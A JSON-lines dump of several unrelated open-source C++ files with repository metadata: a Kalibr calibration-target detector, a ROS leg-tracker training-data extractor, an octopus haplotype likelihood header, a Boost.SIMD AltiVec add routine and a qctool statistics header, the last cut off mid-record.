{"text": "#include <Eigen/Core>\n#include <aslam/cameras/GridDetector.hpp>\n#include <boost/make_shared.hpp>\n#include <boost/shared_ptr.hpp>\n#include <opencv2/core/core.hpp>\n#include <opencv2/highgui/highgui.hpp>\n#include <opencv2/imgproc/imgproc.hpp>\n#include <sm/logging.hpp>\n#include <vector>\n\nnamespace aslam {\nnamespace cameras {\n\n// serialization constructor (don't use!)\nGridDetector::GridDetector() {}\n\nGridDetector::GridDetector(boost::shared_ptr<CameraGeometryBase> geometry, GridCalibrationTargetBase::Ptr target,\n                           const GridDetector::GridDetectorOptions& options)\n    : _geometry(geometry), _target(target), _options(options) {\n    SM_ASSERT_TRUE(Exception, _geometry.get() != NULL, \"Unable to initialize with null camera geometry\");\n    SM_ASSERT_TRUE(Exception, _target.get() != NULL, \"Unable to initialize with null calibration target\");\n\n    initializeDetector();\n}\n\nvoid GridDetector::initializeDetector() {\n    if (_options.plotCornerReprojection) {\n        cv::namedWindow(\"Corner reprojection\", cv::WINDOW_NORMAL);\n    }\n}\n\nGridDetector::~GridDetector() {}\n\nvoid GridDetector::initCameraGeometry(boost::shared_ptr<CameraGeometryBase> geometry) {\n    SM_ASSERT_TRUE(Exception, geometry.get() != NULL, \"Unable to initialize with null camera geometry\");\n    _geometry = geometry;\n}\n\nbool GridDetector::initCameraGeometryFromObservation(const cv::Mat& image) {\n    boost::shared_ptr<std::vector<cv::Mat>> images_ptr = boost::make_shared<std::vector<cv::Mat>>();\n    images_ptr->push_back(image);\n\n    return initCameraGeometryFromObservations(images_ptr);\n}\n\nbool GridDetector::initCameraGeometryFromObservations(boost::shared_ptr<std::vector<cv::Mat>> images_ptr) {\n    std::vector<cv::Mat>& images = *images_ptr;\n\n    SM_DEFINE_EXCEPTION(Exception, std::runtime_error);\n    SM_ASSERT_TRUE(Exception, images.size() != 0, \"Need min. one image\");\n\n    std::vector<GridCalibrationTargetObservation> observations;\n\n    for (unsigned int i = 0; i < images.size(); i++) {\n        GridCalibrationTargetObservation obs(_target);\n\n        // detect calibration target\n        bool success = findTargetNoTransformation(images[i], obs);\n\n        // delete image copy (save memory)\n        obs.clearImage();\n\n        // append\n        if (success) observations.push_back(obs);\n    }\n\n    // initialize the intrinsics\n    if (observations.size() > 0) return _geometry->initializeIntrinsics(observations);\n\n    return false;\n}\n\nbool GridDetector::findTarget(const cv::Mat& image, GridCalibrationTargetObservation& outObservation) const {\n    return findTarget(image, aslam::Time(0, 0), outObservation);\n}\n\nbool GridDetector::findTargetNoTransformation(const cv::Mat& image, const aslam::Time& stamp,\n                                              GridCalibrationTargetObservation& outObservation) const {\n    bool success = false;\n\n    // Extract the calibration target corner points\n    Eigen::MatrixXd cornerPoints;\n    std::vector<bool> validCorners;\n    success = _target->computeObservation(image, cornerPoints, validCorners);\n\n    // Set the image, target, and timestamp regardless of success.\n    outObservation.setTarget(_target);\n    outObservation.setImage(image);\n    outObservation.setTime(stamp);\n\n    // Set the observed corners in the observation\n    for (int i = 0; i < cornerPoints.rows(); i++) {\n        if (validCorners[i]) {\n            outObservation.updateImagePoint(i, cornerPoints.row(i).transpose());\n        }\n    }\n\n    return success;\n}\n\nbool GridDetector::findTarget(const cv::Mat& image, const aslam::Time& stamp,\n                              GridCalibrationTargetObservation& outObservation) const {\n    sm::kinematics::Transformation trafo;\n\n    // find calibration target corners\n    bool success = findTargetNoTransformation(image, stamp, outObservation);\n\n    // calculate trafo cam-target\n    if (success) {\n        // also estimate the transformation:\n        success = _geometry->estimateTransformation(outObservation, trafo);\n\n        if (success)\n            outObservation.set_T_t_c(trafo);\n        else\n            SM_DEBUG_STREAM(\"estimateTransformation() failed\");\n    }\n\n    // remove corners with a reprojection error above a threshold\n    //(remove detection outliers)\n    if (_options.filterCornerOutliers && success) {\n        // calculate reprojection errors\n        std::vector<cv::Point2f> corners_reproj;\n        std::vector<cv::Point2f> corners_detected;\n        outObservation.getCornerReprojection(_geometry, corners_reproj);\n        unsigned int numCorners = outObservation.getCornersImageFrame(corners_detected);\n\n        // calculate error norm\n        Eigen::MatrixXd reprojection_errors_norm = Eigen::MatrixXd::Zero(numCorners, 1);\n\n        for (unsigned int i = 0; i < numCorners; i++) {\n            cv::Point2f reprojection_err = corners_detected[i] - corners_reproj[i];\n\n            reprojection_errors_norm(i, 0) =\n                sqrt(reprojection_err.x * reprojection_err.x + reprojection_err.y * reprojection_err.y);\n        }\n\n        // calculate statistics\n        double mean = reprojection_errors_norm.mean();\n        double std = 0.0;\n        for (unsigned int i = 0; i < numCorners; i++) {\n            double temp = reprojection_errors_norm(i, 0) - mean;\n            std += temp * temp;\n        }\n        std /= (double)numCorners;\n        std = sqrt(std);\n\n        // disable outlier corners\n        std::vector<unsigned int> cornerIdx;\n        outObservation.getCornersIdx(cornerIdx);\n\n        unsigned int removeCount = 0;\n        for (unsigned int i = 0; i < corners_detected.size(); i++) {\n            if (reprojection_errors_norm(i, 0) > mean + _options.filterCornerSigmaThreshold * std &&\n                reprojection_errors_norm(i, 0) > _options.filterCornerMinReprojError) {\n                outObservation.removeImagePoint(cornerIdx[i]);\n                removeCount++;\n                SM_DEBUG_STREAM(\"removed target point with reprojection error of \"\n                                    << reprojection_errors_norm(i, 0) << \" (mean: \" << mean << \", std: \" << std\n                                    << \")\\n\";);\n            }\n        }\n\n        if (removeCount > 0)\n            SM_DEBUG_STREAM(\"removed \" << removeCount << \" of \" << numCorners\n                                       << \" calibration target corner outliers\\n\";);\n    }\n\n    // show plot of reprojected corners\n    if (_options.plotCornerReprojection) {\n        cv::Mat imageCopy1 = image.clone();\n        cv::cvtColor(imageCopy1, imageCopy1, CV_GRAY2RGB);\n\n        if (success) {\n            // calculate reprojection\n            std::vector<cv::Point2f> reprojs;\n            outObservation.getCornerReprojection(_geometry, reprojs);\n\n            for (unsigned int i = 0; i < reprojs.size(); i++)\n                cv::circle(imageCopy1, reprojs[i], 3, CV_RGB(255, 0, 0), 1);\n\n        } else {\n            cv::putText(imageCopy1, \"Detection failed! (frame not used)\", cv::Point(50, 50), CV_FONT_HERSHEY_SIMPLEX,\n                        0.8, CV_RGB(255, 0, 0), 3, 8, false);\n        }\n\n        cv::imshow(\"Corner reprojection\", imageCopy1);  // OpenCV call\n        if (_options.imageStepping) {\n            cv::waitKey(0);\n        } else {\n            cv::waitKey(1);\n        }\n    }\n\n    return success;\n}\n\n/// \\brief Find the target but don't estimate the transformation.\nbool GridDetector::findTargetNoTransformation(const cv::Mat& image,\n                                              GridCalibrationTargetObservation& outObservation) const {\n    return findTargetNoTransformation(image, aslam::Time(0, 0), outObservation);\n}\n\n}  // namespace cameras\n}  // namespace aslam\n\n// export explicit instantions for all included archives\n#include <boost/serialization/export.hpp>\n#include <sm/boost/serialization.hpp>\nBOOST_CLASS_EXPORT_IMPLEMENT(aslam::cameras::GridDetector);\nBOOST_CLASS_EXPORT_IMPLEMENT(aslam::cameras::GridDetector::GridDetectorOptions);\n", "meta": {"hexsha": "0542cdf9ca3bc5d6e064523db6743bde17c53fb1", "size": 7919, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "aslam_cv/aslam_cameras/src/GridDetector.cpp", "max_stars_repo_name": "chengfzy/kalibr", "max_stars_repo_head_hexsha": "fe9705b380b160dc939607135f7d30efa64ea2e9", "max_stars_repo_licenses": ["BSD-4-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "aslam_cv/aslam_cameras/src/GridDetector.cpp", "max_issues_repo_name": "chengfzy/kalibr", "max_issues_repo_head_hexsha": "fe9705b380b160dc939607135f7d30efa64ea2e9", "max_issues_repo_licenses": ["BSD-4-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "aslam_cv/aslam_cameras/src/GridDetector.cpp", "max_forks_repo_name": "chengfzy/kalibr", "max_forks_repo_head_hexsha": "fe9705b380b160dc939607135f7d30efa64ea2e9", "max_forks_repo_licenses": ["BSD-4-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3537735849, "max_line_length": 117, "alphanum_fraction": 0.6552595025, "num_tokens": 1792, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.2782567877172032, "lm_q1q2_score": 0.14347474143210137}}
{"text": "#include <ros/ros.h>\n#include <rosbag/bag.h>\n#include <rosbag/view.h>\n\n// ROS messages\n#include <sensor_msgs/LaserScan.h>\n#include <geometry_msgs/Pose.h>\n#include <geometry_msgs/PoseArray.h>\n#include <visualization_msgs/Marker.h>\n#include <visualization_msgs/MarkerArray.h>\n\n// Custom messages\n#include <leg_tracker/laser_processor.h>\n#include <leg_tracker/cluster_features.h>\n\n#include <tf/transform_listener.h>\n#include <tf/message_filter.h>\n#include <message_filters/subscriber.h>\n\n#include <boost/foreach.hpp>\n\n#include <math.h>       /* atan2 */\n\n\n#define PI 3.14159265\n\n/**\n* @brief Extract positive training scan clusters from a rosbag \n*\n* Reads in a rosbag, finds all scan clusters lying within user-specified bounding box (or alternatively min/max angles), \n* marks those clusters as positive examples and saves the result to a new rosbag\n* Used to quickly get positive examples for training the leg detector. \n*/\nclass ExtractPositiveTrainingClusters\n{\npublic:\n\n  /**\n  * @brief Constructor\n  */\n  ExtractPositiveTrainingClusters() \n  {\n    // Get ROS parameters  \n    ros::NodeHandle nh_private(\"~\"); // to get private parameters\n    \n    // Required parameters\n    if (!nh_private.getParam(\"load_bag_file\", load_bag_file_))\n      ROS_ERROR(\"Couldn't get bag_load_file from ros param server\");\n    if (!nh_private.getParam(\"save_bag_file\", save_bag_file_))\n      ROS_ERROR(\"Couldn't get bag_save_file from ros param server\");\n    if (!nh_private.getParam(\"scan_topic\", scan_topic_))\n      ROS_ERROR(\"Couldn't get scan_topic from ros param server\");\n    if (!nh_private.getParam(\"laser_frame\", laser_frame_))\n      ROS_ERROR(\"Couldn't get laser_frame from ros param server\");\n\n    // Optional parameters (i.e., params with defaults)\n    nh_private.param(\"cluster_dist_euclid\", cluster_dist_euclid_, 0.1);\n    nh_private.param(\"min_points_per_cluster\", min_points_per_cluster_, 5);        \n    \n    // Optional parameters - either the x-y coordinates of a bounding box can be specified \n    // or the min/max angle and length for an arc\n    if (!nh_private.getParam(\"x_min\", x_min_) or\n        !nh_private.getParam(\"x_max\", x_max_) or\n        !nh_private.getParam(\"y_min\", y_min_) or\n        !nh_private.getParam(\"y_max\", y_max_))                        \n    {\n      ROS_INFO(\"Couldn't get bounding box for positive clusters. Assuming you've specified a min/max scan angle and a max distance instead.\");\n      use_bounding_box_ = false;\n    }\n    else\n    {\n      use_bounding_box_ = true;\n    }\n    if (!nh_private.getParam(\"min_angle\", min_angle_) or\n        !nh_private.getParam(\"max_angle\", max_angle_) or\n        !nh_private.getParam(\"max_dist\", max_dist_))                       \n    {\n      if (use_bounding_box_)\n      {\n        ROS_INFO(\"Couldn't get min/max scan angle for positive clusters. Assuming you've specified a bounding box instead.\");\n      }\n      else\n      {\n        ROS_ERROR(\"Couldn't get bounding box or scan min/max angle for positive clusters\");\n      }\n    }\n\n    // Print back params:\n    printf(\"\\nROS parameters: \\n\");\n    printf(\"cluster_dist_euclid:%.2fm \\n\", cluster_dist_euclid_);\n    printf(\"min_points_per_cluster:%i \\n\", min_points_per_cluster_);\n    printf(\"\\n\");\n  }\n\n  /**\n  * @brief Extract the positive clusters and record their position with a leg_cluster_positions message\n  */\n  void extract()\n  {\n    // Open rosbag we'll be saving to\n    rosbag::Bag save_bag;\n    save_bag.open(save_bag_file_.c_str(), rosbag::bagmode::Write);\n\n    // Open rosbag we'll be loading from\n    rosbag::Bag load_bag;\n    load_bag.open(load_bag_file_.c_str(), rosbag::bagmode::Read);\n    \n    // Iterate through all scan messages in the loaded rosbag\n    std::vector<std::string> topics;\n    topics.push_back(std::string(scan_topic_));\n    rosbag::View view(load_bag, rosbag::TopicQuery(topics)); \n    BOOST_FOREACH(rosbag::MessageInstance const m, view)\n    {\n      sensor_msgs::LaserScan::ConstPtr scan = m.instantiate<sensor_msgs::LaserScan>();\n      if (scan != NULL)\n      {\n        // Processes scan\n        laser_processor::ScanProcessor processor(*scan);\n        processor.splitConnected(cluster_dist_euclid_);\n        processor.removeLessThan(min_points_per_cluster_);\n\n        geometry_msgs::PoseArray leg_cluster_positions;\n        leg_cluster_positions.header.frame_id = laser_frame_;\n\n        for (std::list<laser_processor::SampleSet*>::iterator i = processor.getClusters().begin();\n          i != processor.getClusters().end();\n          ++i)\n        {\n          // Only use scan clusters that are in the specified positive cluster area\n          tf::Point cluster_position = (*i)->getPosition();\n\n          double x_pos = cluster_position[0];\n          double y_pos = cluster_position[1];\n          double angle = atan2(y_pos,x_pos) * 180 / PI;\n          double dist_abs = sqrt(x_pos*x_pos + y_pos*y_pos);\n\n          bool in_bounding_box = use_bounding_box_ and x_pos > x_min_ and x_pos < x_max_ and y_pos > y_min_ and y_pos < y_max_;\n          bool in_arc = !use_bounding_box_ and angle > min_angle_ and angle < max_angle_ and dist_abs < max_dist_;\n          if (in_bounding_box or in_arc) \n          {          \n            geometry_msgs::Pose new_leg_cluster_position;\n            new_leg_cluster_position.position.x = cluster_position[0];\n            new_leg_cluster_position.position.y = cluster_position[1];\n            leg_cluster_positions.poses.push_back(new_leg_cluster_position);\n          }\n        }\n        if (!leg_cluster_positions.poses.empty())  // at least one leg has been found in current scan\n        {\n          // Save position of leg to be used later for training \n          save_bag.write(\"/leg_cluster_positions\", ros::Time::now(), leg_cluster_positions); \n\n          // Save scan\n          save_bag.write(\"/training_scan\", ros::Time::now(), *scan);\n\n          // Save a marker of the position of the cluster we extracted. \n          // Just used so we can playback the rosbag file \n          // and visually verify the correct clusters have been extracted\n          visualization_msgs::MarkerArray ma;\n          for (int i = 0;\n              i < leg_cluster_positions.poses.size();\n              i++)\n          {\n            visualization_msgs::Marker m;\n            m.header.frame_id = \"laser_frame\";\n            m.ns = \"LEGS\";\n            m.id = i;\n            m.type = m.SPHERE;\n            m.pose.position.x = leg_cluster_positions.poses[i].position.x;\n            m.pose.position.y = leg_cluster_positions.poses[i].position.y;\n            m.pose.position.z = 0.1;\n            m.scale.x = .2;\n            m.scale.y = .2;\n            m.scale.z = .2;\n            m.color.a = 1;\n            m.lifetime = ros::Duration(0.2);\n            m.color.b = 0.0;\n            m.color.r = 1.0;\n            ma.markers.push_back(m);\n          }\n          save_bag.write(\"/visualization_marker_array\", ros::Time::now(), ma);\n        }\n      }\n    }\n    load_bag.close();\n  }\n\nprivate:\n  tf::TransformListener tfl_;\n  std::string laser_frame_;\n  std::string scan_topic_;\n\n  ros::NodeHandle nh_;\n\n  std::string save_bag_file_;\n  std::string load_bag_file_;  \n\n  double cluster_dist_euclid_;\n  int min_points_per_cluster_;\n\n  // to describe bounding box containing positive clusters\n  bool use_bounding_box_;\n  double x_min_;\n  double x_max_;\n  double y_min_;\n  double y_max_;\n  \n  // to describe scan angles containing positive clusters\n  int min_angle_;\n  int max_angle_;\n  int max_dist_;\n};\n\nint main(int argc, char **argv)\n{\n  ros::init(argc, argv,\"extract_positive_leg_clusters\");\n  ExtractPositiveTrainingClusters eptc;\n  eptc.extract();\n  ROS_INFO(\"Finished successfully! (you still have press ctrl+c to terminate if you ran from a launch file)\"); \n  /** @todo Automatically terminate after finishing successfully */\n  return 0;\n}\n\n", "meta": {"hexsha": "ff05026e067d8549d69d7f673e8c1fb9ef70ac39", "size": 7802, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/extract_positive_training_clusters.cpp", "max_stars_repo_name": "ducle33/people_tracker", "max_stars_repo_head_hexsha": "4217c67d422ccd76e5d7aaae39a23c740af2eb7e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/extract_positive_training_clusters.cpp", "max_issues_repo_name": "ducle33/people_tracker", "max_issues_repo_head_hexsha": "4217c67d422ccd76e5d7aaae39a23c740af2eb7e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/extract_positive_training_clusters.cpp", "max_forks_repo_name": "ducle33/people_tracker", "max_forks_repo_head_hexsha": "4217c67d422ccd76e5d7aaae39a23c740af2eb7e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.9865470852, "max_line_length": 142, "alphanum_fraction": 0.6575237119, "num_tokens": 1828, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2845759981489974, "lm_q1q2_score": 0.14339960145175198}}
{"text": "// Copyright (c) 2015-2021 Daniel Cooke\n// Use of this source code is governed by the MIT license that can be found in the LICENSE file.\n\n#ifndef haplotype_likelihood_model_hpp\n#define haplotype_likelihood_model_hpp\n\n#include <vector>\n#include <iterator>\n#include <cstddef>\n#include <cstdint>\n#include <algorithm>\n#include <functional>\n#include <memory>\n#include <stdexcept>\n\n#include <boost/optional.hpp>\n\n#include \"config/common.hpp\"\n#include \"basics/contig_region.hpp\"\n#include \"basics/cigar_string.hpp\"\n#include \"basics/aligned_read.hpp\"\n#include \"basics/aligned_template.hpp\"\n#include \"core/types/haplotype.hpp\"\n#include \"core/models/error/snv_error_model.hpp\"\n#include \"core/models/error/indel_error_model.hpp\"\n#include \"pairhmm/pair_hmm.hpp\"\n\nnamespace octopus {\n\nclass HaplotypeLikelihoodModel\n{\npublic:\n    using LogProbability = double;\n    using Penalty = hmm::Penalty;\n    \n    struct Config\n    {\n        bool use_mapping_quality = true;\n        boost::optional<AlignedRead::MappingQuality> mapping_quality_cap_trigger = boost::none;\n        AlignedRead::MappingQuality mapping_quality_cap = 120;\n        bool use_flank_state = true;\n        unsigned max_indel_error = 8;\n        bool use_int_scores = false;\n    };\n    \n    struct FlankState\n    {\n        ContigRegion::Position lhs_flank, rhs_flank;\n    };\n    \n    class ShortHaplotypeError;\n    \n    using MappingPosition       = std::size_t;\n    using MappingPositionVector = std::vector<MappingPosition>;\n    using MappingPositionItr    = MappingPositionVector::const_iterator;\n    \n    struct Alignment\n    {\n        MappingPosition mapping_position;\n        CigarString cigar;\n        LogProbability likelihood;\n    };\n    \n    HaplotypeLikelihoodModel();\n    HaplotypeLikelihoodModel(Config config);\n    HaplotypeLikelihoodModel(std::unique_ptr<SnvErrorModel> snv_model,\n                             std::unique_ptr<IndelErrorModel> indel_model);\n    HaplotypeLikelihoodModel(std::unique_ptr<SnvErrorModel> snv_model,\n                             std::unique_ptr<IndelErrorModel> indel_model,\n                             Config config);\n    \n    HaplotypeLikelihoodModel(const HaplotypeLikelihoodModel&);\n    HaplotypeLikelihoodModel& operator=(const HaplotypeLikelihoodModel&);\n    HaplotypeLikelihoodModel(HaplotypeLikelihoodModel&&)            = default;\n    HaplotypeLikelihoodModel& operator=(HaplotypeLikelihoodModel&&) = default;\n    \n    friend void swap(HaplotypeLikelihoodModel& lhs, HaplotypeLikelihoodModel& rhs) noexcept;\n    \n    ~HaplotypeLikelihoodModel() = default;\n    \n    const Config& config() const noexcept;\n    void set(Config config);\n    \n    unsigned pad_requirement() const noexcept;\n    \n    bool can_use_flank_state() const noexcept;\n    \n    void reset(const Haplotype& haplotype, boost::optional<FlankState> flank_state = boost::none);\n    \n    void clear() noexcept;\n    \n    // ln p(read | haplotype, model)\n    LogProbability evaluate(const AlignedRead& read) const;\n    LogProbability evaluate(const AlignedRead& read, const MappingPositionVector& mapping_positions) const;\n    LogProbability evaluate(const AlignedRead& read, MappingPositionItr first_mapping_position, MappingPositionItr last_mapping_position) const;\n    \n    // ln p(read template | haplotype, model)\n    LogProbability evaluate(const AlignedTemplate& reads) const;\n    LogProbability evaluate(const AlignedTemplate& reads, const std::vector<MappingPositionVector>& mapping_positions) const;\n    \n    Alignment align(const AlignedRead& read) const;\n    Alignment align(const AlignedRead& read, const MappingPositionVector& mapping_positions) const;\n    Alignment align(const AlignedRead& read, MappingPositionItr first_mapping_position, MappingPositionItr last_mapping_position) const;\n    \nprivate:\n    using HMM = hmm::PairHMM<hmm::MutationModel>;\n    \n    std::unique_ptr<SnvErrorModel> snv_error_model_;\n    std::unique_ptr<IndelErrorModel> indel_error_model_;\n    \n    const Haplotype* haplotype_;\n    \n    boost::optional<FlankState> haplotype_flank_state_;\n    \n    std::vector<char> haplotype_snv_forward_mask_, haplotype_snv_reverse_mask_;\n    std::vector<Penalty> haplotype_snv_forward_priors_, haplotype_snv_reverse_priors_;\n    \n    std::vector<Penalty> haplotype_gap_open_penalities_, haplotype_gap_extend_penalities_;\n    Config config_;\n    mutable HMM hmm_;\n};\n\nclass HaplotypeLikelihoodModel::ShortHaplotypeError : public std::runtime_error\n{\npublic:\n    using Length = Haplotype::NucleotideSequence::size_type;\n    \n    ShortHaplotypeError() = delete;\n    \n    ShortHaplotypeError(const Haplotype& haplotype, Length required_extension);\n    \n    const Haplotype& haplotype() const noexcept;\n    \n    Length required_extension() const noexcept;\n    \nprivate:\n    const Haplotype& haplotype_;\n    Length required_extension_;\n};\n\nHaplotypeLikelihoodModel make_haplotype_likelihood_model(const std::string label, bool use_mapping_quality = true);\n\n} // namespace octopus\n\n#endif\n", "meta": {"hexsha": "ab27fe1107f2134bc0cd4cf056cf45f2978fe9f0", "size": 4971, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_stars_repo_name": "Schaudge/octopus", "max_stars_repo_head_hexsha": "d0cc5d0840aefdfefae5af8595e3330620106054", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 278.0, "max_stars_repo_stars_event_min_datetime": "2016-10-03T16:30:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T05:59:32.000Z", "max_issues_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_issues_repo_name": "Schaudge/octopus", "max_issues_repo_head_hexsha": "d0cc5d0840aefdfefae5af8595e3330620106054", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 229.0, "max_issues_repo_issues_event_min_datetime": "2016-10-13T14:07:35.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-19T18:59:58.000Z", "max_forks_repo_path": "src/core/models/haplotype_likelihood_model.hpp", "max_forks_repo_name": "Schaudge/octopus", "max_forks_repo_head_hexsha": "d0cc5d0840aefdfefae5af8595e3330620106054", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 37.0, "max_forks_repo_forks_event_min_datetime": "2016-10-28T22:47:54.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T07:28:43.000Z", "avg_line_length": 34.0479452055, "max_line_length": 144, "alphanum_fraction": 0.7354657011, "num_tokens": 1164, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5583269796369904, "lm_q2_score": 0.2568319970758679, "lm_q1q2_score": 0.14339623320150569}}
{"text": "//==============================================================================\n//         Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II\n//         Copyright 2009 - 2014 LRI    UMR 8623 CNRS/Univ Paris Sud XI\n//         Copyright 2013 - 2014 MetaScale SAS\n//\n//          Distributed under the Boost Software License, Version 1.0.\n//                 See accompanying file LICENSE.txt or copy at\n//                     http://www.boost.org/LICENSE_1_0.txt\n//==============================================================================\n#ifndef BOOST_SIMD_ARITHMETIC_FUNCTIONS_SIMD_VMX_ALTIVEC_ADDS_HPP_INCLUDED\n#define BOOST_SIMD_ARITHMETIC_FUNCTIONS_SIMD_VMX_ALTIVEC_ADDS_HPP_INCLUDED\n#ifdef BOOST_SIMD_HAS_VMX_SUPPORT\n\n#include <boost/simd/arithmetic/functions/adds.hpp>\n\nnamespace boost { namespace simd { namespace ext\n{\n  BOOST_DISPATCH_IMPLEMENT          ( adds_\n                                    , boost::simd::tag::vmx_\n                                    , (A0)\n                                    , ((simd_< int_<A0>\n                                            , boost::simd::tag::vmx_\n                                            >\n                                      ))\n                                      ((simd_< int_<A0>\n                                            , boost::simd::tag::vmx_\n                                            >\n                                      ))\n                                    )\n  {\n    typedef A0 result_type;\n\n    BOOST_FORCEINLINE BOOST_SIMD_FUNCTOR_CALL_REPEAT(2)\n    {\n      return vec_adds( a0(), a1() );\n    }\n  };\n\n  BOOST_DISPATCH_IMPLEMENT          ( adds_\n                                    , boost::simd::tag::vmx_\n                                    , (A0)\n                                    , ((simd_< uint_<A0>\n                                            , boost::simd::tag::vmx_\n                                            >\n                                      ))\n                                      ((simd_< uint_<A0>\n                                            , boost::simd::tag::vmx_\n                                            >\n                                      ))\n                                    )\n  {\n    typedef A0 result_type;\n\n    BOOST_FORCEINLINE BOOST_SIMD_FUNCTOR_CALL_REPEAT(2)\n    {\n      return vec_adds( a0(), a1() );\n    }\n  };\n} } }\n\n#endif\n#endif\n", "meta": {"hexsha": "49042079f4c5a36474291f4e23d2fceaebb06baf", "size": 2370, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "modules/boost/simd/base/include/boost/simd/arithmetic/functions/simd/vmx/altivec/adds.hpp", "max_stars_repo_name": "psiha/nt2", "max_stars_repo_head_hexsha": "5e829807f6b57b339ca1be918a6b60a2507c54d0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 34.0, "max_stars_repo_stars_event_min_datetime": "2017-05-19T18:10:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-04T02:18:13.000Z", "max_issues_repo_path": "modules/boost/simd/base/include/boost/simd/arithmetic/functions/simd/vmx/altivec/adds.hpp", "max_issues_repo_name": "psiha/nt2", "max_issues_repo_head_hexsha": "5e829807f6b57b339ca1be918a6b60a2507c54d0", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/boost/simd/base/include/boost/simd/arithmetic/functions/simd/vmx/altivec/adds.hpp", "max_forks_repo_name": "psiha/nt2", "max_forks_repo_head_hexsha": "5e829807f6b57b339ca1be918a6b60a2507c54d0", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 7.0, "max_forks_repo_forks_event_min_datetime": "2017-12-02T12:59:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-31T12:46:14.000Z", "avg_line_length": 37.619047619, "max_line_length": 80, "alphanum_fraction": 0.370464135, "num_tokens": 429, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.2751297357103299, "lm_q1q2_score": 0.14293576400456057}}
{"text": "\n//          Copyright Gavin Band 2008 - 2012.\n// Distributed under the Boost Software License, Version 1.0.\n//    (See accompanying file LICENSE_1_0.txt or copy at\n//          http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef QCTOOL_MISSINGNESS_HETEROZYGOSITY_COMPUTATION_HPP\n#define QCTOOL_MISSINGNESS_HETEROZYGOSITY_COMPUTATION_HPP\n\n#include <Eigen/Core>\n#include <boost/optional.hpp>\n#include \"components/SampleSummaryComponent/SampleSummaryComputation.hpp\"\n\nnamespace sample_stats {\n\tstruct MissingnessHeterozygosityComputation: public SampleSummaryComputation\n\t{\n\t\tMissingnessHeterozygosityComputation() ;\n\t\tMissingnessHeterozygosityComputation( genfile::Chromosome ) ;\n\t\tvoid accumulate( genfile::VariantIdentifyingData const&, Genotypes const&, genfile::VariantDataReader& ) ;\n\t\tvoid compute( int sample, ResultCallback ) ;\n\t\tstd::string get_summary( std::string const& prefix = \"\", std::size_t column_width = 20 ) const ;\n\tprivate:\n\t\tboost::optional< genfile::Chromosome > const m_chromosome ;\n\t\tstd::size_t m_snp_index ;\n\t\tdouble m_threshhold ;\n\t\tEigen::VectorXd m_ones ;\n\t\tEigen::VectorXd m_total_probabilities ;\n\t\tEigen::VectorXd m_total_calls ;\n\t\tEigen::VectorXd m_het_snps ;\n\t\tEigen::VectorXd m_het_snp_calls ;\n\t} ;\n}\n\n#endif\n", "meta": {"hexsha": "424a802ad59cf9199f2662e0d9c078010e7557ac", "size": 1237, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "components/SampleSummaryComponent/include/components/SampleSummaryComponent/MissingnessHeterozygosityComputation.hpp", "max_stars_repo_name": "CreRecombinase/qctool", "max_stars_repo_head_hexsha": "6dad3a15c461177bf6940ba7b991337402ca5c41", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 3.0, "max_stars_repo_stars_event_min_datetime": "2021-04-21T05:42:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-26T14:59:43.000Z", "max_issues_repo_path": "components/SampleSummaryComponent/include/components/SampleSummaryComponent/MissingnessHeterozygosityComputation.hpp", "max_issues_repo_name": "CreRecombinase/qctool", "max_issues_repo_head_hexsha": "6dad3a15c461177bf6940ba7b991337402ca5c41", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2020-04-09T16:11:04.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-10T11:18:56.000Z", "max_forks_repo_path": "components/SampleSummaryComponent/include/components/SampleSummaryComponent/MissingnessHeterozygosityComputation.hpp", "max_forks_repo_name": "gavinband/qctool", "max_forks_repo_head_hexsha": "8d8adb45151c91f953fe4a9af00498073b1132ba", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, 